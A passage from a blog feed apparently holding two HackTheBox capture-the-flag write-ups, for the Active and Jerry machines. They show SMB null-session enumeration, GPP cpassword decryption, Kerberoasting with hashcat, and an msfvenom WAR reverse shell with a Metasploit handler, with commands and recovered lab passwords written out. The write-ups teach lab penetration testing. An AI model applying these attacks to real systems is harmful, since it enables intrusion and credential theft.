&lt;p&gt;&lt;img src=&quot;/assets/htb-images/active/Nessusdetail.png&quot; alt=&quot;Nessusdetail&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now this is something interesting. By doing a bit of a research about NULL session vulnerability in SMB I found out that this vulnerability allows a connection to be made without supplying a valid user or password. Now lets see how to exploit it. Searching in google I found a tool called “nullinux” that will help me do some enumeration on the SMB service.
&lt;a href=&quot;https://github.com/m8r0wn/nullinux&quot;&gt;Link to nullinux&lt;/a&gt;
I downloaded the program and set it up.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git clone https://github.com/m8r0wn/nullinux
$ cd nullinux
$ ./setup.sh
$ ./nullinux.py -h
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s see how to run the program.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/active/Nullinux-h.png&quot; alt=&quot;Nullinux-h&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Looking at the options, there is “-a, -all” to enumerate users and shares and “-v” for verbose output.
Next I ran the program.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;$ ./nullinux.py -a -v 10.10.10.100&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Lets check the output !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/active/Nullinux-a-v.png&quot; alt=&quot;Nullinux-a-v&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Great ! I found some shares that I can try log in use a null session. I skipped the first two (ADMIN$ &amp;amp; C$) since these shares won’t be exploitable by the null session vulnerability.
There two interesting shares that I can try: Replication &amp;amp; Users
So to try the null session exploit, there is a tool that we can rely on thats pre-installed in Kali: smbclient. I tried to connect to Replication first and it was successful… Let’s enumerate !&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;$ smbclient //10.10.10.100/Replication&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/active/smbclient-connection.png&quot; alt=&quot;smbclient-connection&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After enumerating the shared folder I found an interesting file called “Groups.xml” and I downloaded it to check what’s inside it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/active/Groups.xml.png&quot; alt=&quot;Groups.xml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Perfect ! It seems I found a user and a password hash ! Trying to identify the hash with hash-identifier didn’t help, so I did a research about what type of hash does windows store in Group Policy. It turned out to be AES-32 which is technically AES-256. So I search how to decrypt cpassword and there is a tool that comes with Kali: “gpp-decrypt”. Let’s decrypt that password !&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/active/gpp-decrypt.png&quot; alt=&quot;gpp-decrypt&quot; /&gt;&lt;/p&gt;

&lt;p&gt;An alternative to the gpp-decrypt tool is this one gpprefdecrypt.py. Now I have the password, let’s try to login with that user.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;$ smbclient //10.10.10.100/Users -U SVC_TGS&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I used the shared folder Users because we have in it nullinux output and this is second shared folder that caught my eye in the enumeration process. After I ran the command I got access to the machine and I was able to get the flag for user SVC_TGS.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/active/SVC_TGS-user.png&quot; alt=&quot;SVC_TGS-user&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now came the part when I spent around 2 hours looking online and asking a great person about the Kerberos service and what possible ways I can go for to escalate the privileges and get Administrator.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kudos to : Khr0n0s ( an amazing person ) Check him out !&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I had to read about Kerberos to understand what it is used for and what does it do. Well in a nutshell Kerberos is an authentication protocol used in all of the operating systems (FreeBSD, Unix, Linux, Windows, etc…), it uses tickets to authenticate users, it does not store passwords locally but instead it caches them, it involves 3rd Party programs and has a built-in symmetric-key cryptography. I suggest to all who read this to read about Kerberos, Kerberoasting and Active Directory. That way you will get an idea how they work which is the key to success !&lt;/p&gt;

&lt;p&gt;After searching for ways to privilege escalate from SVC_TGS, I found a tool called ImPacket and it can be downloaded from GitHub. I read about the separate scripts and their functionality and what I had to do was to use GetUserSPNs.py to get the Service Principal Names which will be requested with user SVC_TGS. Since we have the Ticket Granting Server (SVC_TGS) we can use it to request the SPN for Administrator and get the hash so we can crack it !&lt;/p&gt;

&lt;p&gt;In ImPacket, there is a python script GetUserSPNs.py that will do this for us.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;$ GetUserSPNs.py -request-user Administrator 10.10.10.100/SVC_TGS:GPPstillStandingStrong2k18&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/active/AdminHashFail.png&quot; alt=&quot;AdminHashFail&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This issue was annoying and after 20 minutes of struggling to fix it I thought to my self. “Hmmm, why don’t I add active.htb into the /etc/hosts file and see what happens then”. Luckily this helped to resolve the issue. I now just had to change the IP with the domain (active.htb)&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;$ GetUserSPNs.py -request-user Administrator active.htb/SVC_TGS:GPPstillStandingStrong2k18&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/active/AdminHashTaken.png&quot; alt=&quot;AdminHashTaken&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Yeahhh ! Got the hash ! The last thing I needed to do is to crack the password with hashcat. I didn’t needed to do any converting of the hash so that hashcat can crack it because the python script already did that for me.&lt;/p&gt;

&lt;p&gt;Fire up hashcat !&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Linux:
$ hashcat -a 0 -m 13100 &amp;lt;path_to_hash&amp;gt;/Output.hash /usr/share/wordlists/rockyou.txt &quot;use --force if you don't have GPU&quot;

Windows:
$ hashcat64.exe -a 0 -m 13100 Output.hash rockyou.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I did the cracking part on my Windows machine because I’m using VMware Fusion to hack the machine, so hashcat didn’t work for me on the VM.
Let’s check the result now !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/active/Administrator-Cracked.png&quot; alt=&quot;Administrator-Cracked&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Awesome ! Got the password for Administrator -&amp;gt; Ticketmaster1968 ! Now lets connect to Administrator using smbclient.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/active/SMB-Adminstrator.png&quot; alt=&quot;SMB-Adminstrator&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now the last thing to do is to get the root flag ! That’s how to do the Active box from HackTheBox !&lt;/p&gt;</content><author><name>Kr0ff</name></author><category term="htb" /><summary type="html"></summary></entry><entry><title type="html">HackTheBox - Jerry</title><link href="https://cicadasec.com/htb-jerry" rel="alternate" type="text/html" title="HackTheBox - Jerry" /><published>2018-11-23T00:00:00+00:00</published><updated>2018-11-23T00:00:00+00:00</updated><id>https://cicadasec.com/htb-jerry</id><content type="html" xml:base="https://cicadasec.com/htb-jerry">&lt;p&gt;&lt;img src=&quot;/assets/htb-images/jerry/infocard.png&quot; alt=&quot;BoxInfo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Starting off with nmap to determine what ports are open, what services are running on the ports and what are their versions, thus determining the target !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/jerry/nmap.jpg&quot; alt=&quot;nmap&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So there is only 1 port open, which is:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;8080 http Apache Tomcat&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s look at the web page and do some enumeration to find any vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/jerry/index.html.jpg&quot; alt=&quot;index.html&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It looks like you this is the default apache tomcat page running version 7.0.88. There are also 3 other web pages; Server Status, Manager App, Host Manager. From experience I know that Host Manager will redirect me to Manager App once I log in successfully, so I will skip it. Let’s see what we can find in Server Status page.&lt;/p&gt;

&lt;p&gt;As I tried to access the page a login prompt popped up, as usual, but I was able to guess the default credentials &lt;strong&gt;(admin:admin)&lt;/strong&gt;. Once I accessed the page I was able to see what is the Hostname of the machine, OS name and version and system architecture.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/jerry/serverstatus.jpg&quot; alt=&quot;serverstatus&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I now know with which OS I have to deal. Now, went back to index.html, and tried to login to Manager App. And here I found something interesting. The developer left the default credentials, and tomcat was nice enough to show the default error screen, when I tried to login with wrong username and password.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/jerry/defaultcreds.jpg&quot; alt=&quot;defaultcreds&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I grabbed the credentials from the error page and tried to login to the Manager App, and… Success !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/jerry/managerapp.jpg&quot; alt=&quot;managerapp&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As I’m now logged in as admin, Tomcat has a feature to upload .war files, which I am able to exploit by using msfvenom to generate a reverse shell with .war extension. War files are also like zip files, they store other files inside it, and by this it means that once I upload a war file to tomcat and try to access it, instead of getting the reverse shell immediately, I will have to specify the actual .jsp file inside the war file. And I can do this by simply unzipping the war file to see the actual payload file.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/jerry/revshellwar.jpg&quot; alt=&quot;revshellwar&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#MSFVenom command to generate .war malicious file.&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;msfvenom &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; windows/x64/meterpreter/reverse_tcp &lt;span class=&quot;nv&quot;&gt;LHOST&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;lt;IP&amp;gt; &lt;span class=&quot;nv&quot;&gt;LPORT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;4444 &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; war &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; ev1l.war
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I opened Metasploit and set the handler I need to use, after that i set the payload and the options to be able to get a connection back.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#In Metasploit&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;use multi/handler
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;payload windows/x64/meterpreter/reverse_tcp
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;LHOST &amp;lt;LocalIP&amp;gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;LPORT 4444
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;exploit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once I uploaded the file I unzipped it on my box, checked the jsp file name and accessed it in the web browser to trigger the payload and get reverse shell.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/jerry/fileinweb.jpg&quot; alt=&quot;fileinweb&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/jerry/revshellopen.jpg&quot; alt=&quot;revshellopen&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As I now have a meterpreter reverse shell in metasploit I can check now what user I have access to. And it turns out that I was logged in as NT AUTHORITY\SYSTEM. Game Over !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/jerry/root-user.jpg&quot; alt=&quot;root&amp;amp;user&quot; /&gt;&lt;/p&gt;

&lt;p&gt;That’s how you do Jerry from HackTheBox !&lt;/p&gt;</content><author><name>Kr0ff</name></author><category term="htb" /><summary type="html"></summary></entry></feed>